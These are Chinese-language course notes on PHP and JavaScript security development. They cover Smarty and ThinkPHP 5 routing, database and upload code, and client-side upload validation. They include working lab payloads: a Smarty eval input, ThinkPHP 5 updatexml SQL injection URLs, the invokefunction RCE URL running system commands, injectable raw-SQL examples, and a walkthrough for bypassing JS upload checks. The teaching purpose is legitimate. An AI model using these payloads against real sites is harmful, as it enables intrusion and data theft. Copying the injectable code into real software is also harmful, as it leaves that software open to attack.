$smarty->setCacheDir(SMARTY_CACHE_DIR);
$smarty->setCompileDir(SMARTY_COMPILE_DIR);
$smarty->registerResource('test', new testSmarty);
$smarty->display('test:' . $_GET['eval']);

将访问路由修改为http://localhost:63342/dome01/index1.php?*eval=/phpinfo();//,即可访问泄露

Untitled

img

代码RCE安全测试

1、自写模版的安全隐患
2、第三方Smarty的安全隐患国家信息安全漏洞共享平台 (cnvd.org.cn)

Untitled

Untitled

第六天

PHP应用&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞

TP框架-开发-配置架构&路由&MVC模型

参考:https://www.kancloud.cn/manual/thinkphp5_1
1、配置架构-导入使用
修改小皮网址目录:G:\develop\safety\phpstudy_pro\WWW\dome01\thinkphp\public
192.168.137.1:84 访问成功

Untitled

Untitled

2、路由访问-URL访问
访问方式需要按照,特定的访问方式才能访问到

例如:需要访问初始页面;http://192.168.137.1:84**/index.php/Index/index/**
需要访问初始页面中新定义的函数:192.168.137.1:84**/index.php/Index/index/xi**

Untitled

如果想返回域名或表单中输入的参数中的内容

  • 首先需要导入think\Controller类,Controller类是ThinkPHP框架提供的基础控制器类,你的Index类继承了这个控制器类。通过继承Controller,你可以使用框架提供的一些基础控制器功能,比如处理请求和响应。

  • 其次完成代码回写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
namespace app\index\controller;
**use think\Controller;**

class Index extends Controller
{
// index方法用于处理首页请求
public function index()
{
// 返回一个包含样式和内容的字符串
return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_bd568ce7058a1091"></thinkad>';
}

**// xi方法用于处理名为xi的请求,返回请求参数中的'name'
public function xi()
{
// 返回请求参数中的'name'
return $this->request->param('name');
}**
}

Untitled

访问有两种方式:

192.168.137.1:84/index.php/Index/index**/xi/name/xiaosedi**
192.168.137.1:84/index.php/Index/index**/xi?name=wusuowei**

Untitled

Untitled

注意:

如果是使用php自带的请求方式访问则:只支持一种方式回写数据
192.168.137.1:84/index.php/Index/index**/xi?x=123456**

Untitled

Untitled

Untitled

如果创建新的目录,例如application→text→controller→Test.php等

修改namespace 中的路径
修改class 类名Test
192.168.137.1:84/index.php**/test/Test/xi?x=wufa456**

3、数据库操作-应用对象

  • 连接数据库找到数据库配置文件(database.php),并打开调试模式
  • 引用数据的的类use think\Db;,使用数据库的查询语句
1
2
3
4
5
6
7
8
use think\Db;
public function testsql()
{
//SELECT * FROM `think_user` WHERE `id` = 1 LIMIT 1
// table方法必须指定完整的数据表名
$data = Db::table('news')->where('id', 1)->findOrFail();
return json($data);
}

Untitled

Untitled

Untitled

thinkphp的安全过滤:

如果是原生态php的话,数据库操作没有过滤就会受到SQL注入攻击

ThinkPHP框架提供了一些内置的数据库操作方法,使得对数据库的访问更加便捷和安全使用ThinkPHP框架操作数据库 默认是受到框架内置的过滤保护

1
2
3
4
5
6
7
8
public function testsql()
{
//SELECT * FROM `think_user` WHERE `id` = 1 LIMIT 1
//使用TP框架操作数据库 默认是受到框架内置的过滤保护
$id = request()->param('x');
$data = Db::table('news')->where('id', $id)->find();
return json($data);
}

Untitled

4、文件上传操作-应用对象

在配置好的网址根目录public下创建upload.html

在upload.html中写入以下代码,并修改action的地址

1
2
3
4
5
6
7
<form action="/index.php/test/test/upload" enctype="multipart/form-data" method="post">
<!-- 表单提交的目标地址,这里是 /index.php/test/test/upload -->
<input type="file" name="image" /> <!-- 文件上传输入框,name 属性为 "image" -->
<br>
<input type="submit" value="上传" /> <!-- 提交按钮,点击后触发表单提交 -->
</form>

在Test.php中输入以下代码(此代码对于上传文件,进行了诸多过滤,保证了安全性)

public function upload(){
    // 获取表单上传文件,例如上传了001.jpg
    $file = request()->file('image');
    
    // 移动到框架应用根目录/uploads/ 目录下
    $info = $file->validate(['ext'=>'jpg,png,gif'])->move('../uploads');

    if($info){
        // 成功上传后,获取上传信息

        // 输出文件扩展名,例如 jpg
        echo $info->getExtension();
        echo '<br>';

        // 输出文件保存路径,例如 20160820/42a79759f284b767dfcb2a0197904287.jpg
        echo $info->getSaveName();
        echo '<br>';

        // 输出文件名,例如 42a79759f284b767dfcb2a0197904287.jpg
        echo $info->getFilename();
    } else {
        // 上传失败,获取错误信息
        echo $file->getError();
    }
}

Untitled

Untitled

Untitled

Untitled

5、前端页面渲染-MVC模型
在例如index(需要渲染的文件当前并行目录下)→view→index→index.html等
http://192.168.137.1:84/index.php/Index/index/index 输入对应的路由访问即可看到以及渲染的页面

Untitled

Untitled

也可以指定内容可以指定模板

1
2
3
4
5
6
7
8
9
10
11
12
13
public function index()
{
**//可以一一赋值
$this->assign('name','ThinkPHP');
$this->assign('email','thinkphp@qq.com');
//可以批量赋值
$this->assign([
'name' == 'ThinkPHP',
'email' == 'thinkphp@qq.com'
]);
//模板输出
return $this->fetch('index/edit');**
}

Untitled

TP框架-安全-不安全写法&版本过滤绕过

判断漏洞的方式:首先判断代码写法如果是不安全写法直接通过代码回写使用sql注入,如果是安全写法则判断中间框架版本号,依据版本号去寻找存在的漏洞

1、内置代码写法

例子:不合规的代码写法-TP5-自写

1、使用TP框架操作数据库 默认是受到框架内置过滤保护

2、原生态的数据库操作如果没有过滤就会受到SQL注入攻击

安全写法=推荐写法 不安全写法=原生写法(不会受到保护)

1、安全写法
规矩写法:不是绝对安全 看两点
看版本的内置绕过漏洞 同样也有漏洞

1
2
$id=request()->param('x');
$data=Db::table('news')->where('id',$id)->find();

2、用一半安全写法
用一半安全写法 有安全隐患

1
2
3
4
//用一半安全写法 有安全隐患
$id=request()->param('x');
$data=Db::query("select * from news where id=$id");

3、纯原生写法(完全不是用TP语法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 从GET请求中获取id参数,如果不存在则默认为1
$id = $_GET['id'] ?? '1';

// 构建SQL查询语句
$sql = "select * from news where id=$id";
echo $sql;

// 执行查询并获取结果集
$data = mysqli_query($con, $sql);

// 使用mysqli_fetch_row遍历结果集的每一行
while ($row = mysqli_fetch_row($data)) {
// 从结果集中获取每一列的值,并存储到相应的变量中
$page_title = $row[1];
$heading = $row[2];
$subheading = $row[3];
$content = $row[4];
$item = $row[5];
}

2、框架版本安全
首先查看中间框架的版本是什么,如ThinkPHP的版本在thinkphp→thinkphp→tpl→base.php中查看

Untitled

依据版本号去查找,出现过的漏洞,进行复现即可(没有绝对的安全)

Untitled

例子1:写法内置安全绕过-TP5-SQL注入

Untitled

http://192.168.137.1:84/index.php/test/Test/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e&username[2]=1** sql注入可以通过报错返回当前数据库表名

Untitled

http://192.168.137.1:84/index.php/test/Test/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,database(),0x7e&username[2]=1** sql注入可以通过报错返回当前数据库名称

Untitled

例子2:内置版本安全漏洞-TP5-代码执行

Untitled

192.168.137.1:84/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir 显示当前目录

Untitled

192.168.137.1:84/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 显示当前电脑用户名

Untitled

JavaScript

第一天

安全开发-JS应用&原生开发&JQuery库&Ajax技术&前端后端&安全验证处理

参考

1、原生JS教程
https://www.w3school.com.cn/js/index.asp
2、jQuery库教程
https://www.w3school.com.cn/jquery/index.asp

JS原生开发-文件上传-变量&对象&函数&事件

JS函数介绍

这一行代码是一个HTML中的JavaScript事件处理器,用于在文件选择框内容发生变化(用户选择文件)时触发相应的检查函数。具体来说:

1
<input type="file" id="file" name="f" onchange="CheckFileExt(this.value)">
  • onchange: 这是一个HTML事件属性,表示在元素内容变化时触发。
  • CheckFileExt(this.value): 这是一个JavaScript函数调用,当文件选择框内容变化时,会调用名为 CheckFileExt 的函数,并将选择的文件路径(**this.value** 表示当前元素的值,即文件路径)作为参数传递给该函数。
1
2
3
var index = filename.lastIndexOf(".")

#这段 JavaScript 代码用于获取文件名中最后一个点(.)后面的部分,即文件的扩展名。
1
2
3
var index = filename.lastIndexOf(".")

#lastIndexOf("."): 这是 JavaScript 字符串对象的方法,用于返回字符串中最后一个出现的点的索引位置。
1
2
3
var ext = filename.substr(index+1);

#substr(index+1): 这是 JavaScript 字符串对象的方法,用于从字符串的指定位置(在这里是 index+1,即点的后一个位置)开始提取子字符串。这里的 ext 变量将包含文件的扩展名。
1
2
3
location.reload(true);

#这是一个 JavaScript 代码片段,用于重新加载当前页面

location.reload(true): 这是 JavaScript 的 location 对象的 reload 方法。reload 方法用于重新加载当前文档。传递 true 参数表示强制从服务器重新加载页面,而不使用缓存。如果省略参数或传递 false,则可能使用缓存进行重新加载。

这行代码的作用是强制刷新当前页面,确保获取最新的内容,而不使用浏览器缓存。

使用js实现文件上传

1
2
3
4
5
6
7
8
9
10
11
12
<!-- 表单用于文件上传,指定了上传的目标地址为 "upload.php",使用 POST 方法提交,并设置 enctype 为 "multipart/form-data" -->
<form action="upload.php" method="POST" enctype="multipart/form-data">
<!-- 为文件上传输入框添加标签 -->
<label for="file">选择文件:</label>
<br>
<!-- 这是一个包含文件上传输入框的 HTML 代码,并且在用户选择文件时触发 CheckFileExt 函数 -->
<input type="file" id="file" name="f" onchange="CheckFileExt(this.value)">
<br>
<!-- 提交按钮 -->
<button type="submit">上传文件</button>
</form>

1、布置前端页面,创建js目录,帮在js目录下创建upload.html
2、JS获取提交数据
3、JS对上传格式判断
4、后端对上传数据处理,创建upload文件目录保存上传文件,创建upload.php处理数据。

前端JS进行后缀过滤,后端PHP进行上传处理

架构:html js php - upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<script>
// JavaScript 函数 CheckFileExt 用于检查文件后缀名
function CheckFileExt(filename){
var flag = false;
// 允许的文件后缀名数组
var exts = ['png', 'gif', 'jpg'];
// 获取文件名中最后一个点后面的部分,即文件的后缀名
var index = filename.lastIndexOf('.');
var ext = filename.substr(index + 1);

// 遍历允许的文件后缀名数组
for (var i = 0; i < exts.length; i++) {
// 检查是否匹配允许的后缀名
if (ext === exts[i]) {
// 文件后缀名正确,设置 flag 为 true,显示提示信息,并跳出循环
flag = true;
alert('文件后缀名正确');
break;
}
}

// 如果 flag 为 false,表示文件后缀名错误,显示错误提示,并强制刷新页面
if (!flag) {
alert('文件后缀错误!')
location.reload(true);
}
}
</script>

上传非[‘png’, ‘gif’, ‘jpg’]后缀中的文件

Untitled

Untitled

上传[‘png’, ‘gif’, ‘jpg’]后缀中的文件

Untitled

Untitled

安全问题

1、过滤代码能看到分析绕过

Untitled

2、禁用JS或删除过滤代码绕过

  • 将页面源代码复制下来,在本地创建,并删除检验代码的函数调用onchange=”CheckFileExt(this.value)”

  • 将调用的文件上传地址,切换为使用网址路由的样式http://192.168.137.1:84/js/upload.php

  • 成功绕过文件检验,上传成功1.exe

JS导入库开发-登录验证-JQuery库&Ajax技术

相关函数

$.ajax()是一个用于执行异步HTTP请求的jQuery函数。它允许您通过JavaScript代码向服务器发送请求,并在不刷新整个页面的情况下接收和处理响应。

用法示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$.ajax({
url: "example.com/data", // 请求的URL
method: "GET", // HTTP请求方法(GET、POST等)
data: { // 发送到服务器的数据(可选)
param1: "value1",
param2: "value2"
},
success: function(response) { // 请求成功时的回调函数
console.log("请求成功!");
console.log(response); // 服务器响应的数据
},
error: function(xhr, status, error) { // 请求失败时的回调函数
console.log("请求失败!");
console.log(error); // 错误信息
}
});


​ 在这个示例中,我们通过url参数指定了服务器的URL,通过method参数指定了HTTP请求方法(这里是GET请求)。data参数是可选的,用于发送到服务器的数据。success回调函数在请求成功并且服务器返回响应时被调用,error回调函数在请求失败时被调用。

​ 您可以根据需要在$.ajax()函数中使用其他参数,例如dataType指定服务器响应的数据类型,headers指定请求头,以及其他高级选项。

​ 通过使用$.ajax()函数,您可以在JavaScript中方便地执行异步HTTP请求,并根据服务器的响应进行相应处理。

**$(“button”).click(function () { … })**选择所有的